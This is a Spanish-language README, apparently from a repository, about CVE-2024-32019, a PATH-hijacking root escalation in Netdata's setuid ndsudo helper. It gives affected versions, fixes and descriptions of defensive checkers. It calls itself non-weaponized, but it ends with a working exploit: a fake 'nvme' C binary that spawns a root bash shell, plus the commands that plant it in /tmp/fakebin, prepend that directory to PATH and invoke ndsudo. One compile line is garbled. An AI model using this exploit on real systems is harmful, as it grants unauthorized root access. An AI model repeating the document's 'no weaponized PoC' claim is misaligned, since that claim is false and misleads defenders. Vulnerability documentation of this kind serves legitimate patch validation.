
PoC y verificador no armado para CVE-2024-32019, una escalada de privilegios local en el helper ndsudo de Netdata. Evalúa la exposición, valida parches y comprende el vector de explotación basado en PATH.
ndsudo Escalada de Privilegios LocalEl asistente ndsudo de Netdata (instalado como setuid root) restringe qué comandos ejecutará, pero resuelve esos comandos usando el PATH de quien lo invoca. En las versiones afectadas, un usuario local puede colocar un binario malicioso antes en el PATH y hacer que ndsudo lo ejecute con privilegios de root. Corregido en Netdata 1.45.3 y 1.45.0-169.
Afectado: >= 1.44.0-60, < 1.45.0-169 y >= 1.45.0, < 1.45.3 (según el aviso upstream).
Corregido: 1.45.3 (estable), 1.45.0-169 (nightly). GitHub
Escalada local de privilegios a root en sistemas donde ndsudo está instalado como SUID y el usuario puede invocarlo (comúnmente miembros del grupo netdata). NVDGitHub
ndsudo es SUID-root y permite subcomandos específicos como nvme-list, nvme-smart-log, etc.
Llama a ejecutables externos por nombre (p. ej., nvme), que se resuelven mediante PATH en lugar de usar rutas absolutas o una búsqueda fija y segura.
Si un directorio con permisos de escritura aparece antes que las rutas del sistema, un atacante puede introducir un binario que se haga pasar por el legítimo y que se ejecute como root. GitHub
Este repositorio incluye comprobadores que no explotan la vulnerabilidad que:
Inspeccionan /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo (o donde esté instalado) para verificar SUID/propiedad.
Enumeran PATH en busca de directorios con permisos de escritura que aparezcan antes que las rutas comunes del sistema.
Confirman la presencia de nombres de subcomandos permitidos que ndsudo podría intentar ejecutar.
Opcionalmente ejecutan ndsudo --test <subcomando> para imprimir el comando resuelto sin ejecutarlo (úsalo con precaución, lee el código primero). GitHub
⚠️ No se incluye un PoC armado. Este proyecto está pensado para que defensores e investigadores evalúen la exposición y validen los parches de forma responsable.
Actualiza Netdata a 1.45.3 (estable) o 1.45.0-169 (nightly).
Como medida de defensa en profundidad, prefiere rutas absolutas o un PATH mínimo saneado en los asistentes SUID; evita conceder acceso innecesario a ndsudo. GitHubwiz.io
nvme.c:#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
setuid(0);
setgid(0);
execl("/bin/bash", "bash", NULL);
return 0;
}
gcc nvme.c - nvme
mkdir -p /tmp/fakebin
mv nvme /tmp/fakebin/
chmod +x /tmp/fakebin/nvme
PATHexport PATH=/tmp/fakebin:$PATH
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
NVD: CVE-2024-32019. NVD
Aviso de Netdata (GHSA-pmhq-4cxq-wj93). GitHub
Resumen de Wiz. wiz.io
Análisis de Snyk. Guía de vulnerabilidades
Listado de MITRE/CVE. CVE